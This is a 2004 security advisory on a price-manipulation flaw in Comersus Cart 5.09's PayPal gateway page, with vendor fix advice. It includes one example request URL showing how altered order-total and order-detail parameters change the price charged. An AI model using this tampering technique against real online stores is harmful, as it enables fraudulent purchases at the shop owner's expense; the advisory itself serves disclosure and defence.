Comersus Cart Improper Request Handling Release Date: July 6, 2004 Severity: Medium Vendor: Comersus Open Technologies Software: Tested on Comersus Cart 5.09 Previous versions may also be affected. Remote: Remotely executed from any web browser Technical Details: The unethical user is able to modify the parameters to change the pricing before the order is processed through PayPal. This would allow the unethical user to place a fraudulent transaction which many times isn't caught until the product is already shipped OR the shopping cart owner is charged a chargeback fee when refunding the order. Example: http://[VICTIM]/comersus/store/comersus_gatewayPayPal.asp?idOrder=2002&Order Total=|102|222|228|22|130|36|209&name=Thomas&lastName=Ryan&address=123+Easy+ Modify+Street&city=New+York&state=NY&zip=10001&country=US&phone=212%2D857%2D 1731&email=tommy%40providesecurity%2Ecom&orderDetails=1x+%23RDHT%2F11+Red+Ha t+Deluxe+WorkStation+Options%3A+%3D+%2479%2E00%0D%0A2x+%23WME%2F1+Windows+Mi llennium+Edition+Options%3A+%3D+%24398%2E00%0D%0A1x+%23BPRES2%2F6+So+You+Wan t+to+Be+President%3F+Options%3A+%3D+%2414%2E39%0D%0A Vendor Fix: Update to 5.098 http://www.comersus.com/ Use <form method="POST" on all Forms Also recommend using SSL for ALL Transactional areas of the website. Review all orders before processing Credit: Discovered By: Thomas Ryan Provide Security Original Advisory http://www.providesecurity.com/research/advisories/07062004-02.asp Copyright (c) 2004 Provide Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without the expressed written consent of Provide Security. If you wish to reprint the whole or any part of this advisory in any other medium excluding electronic medium, please email secalert@xxxxxxxxxxxxxxxxxxx for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.
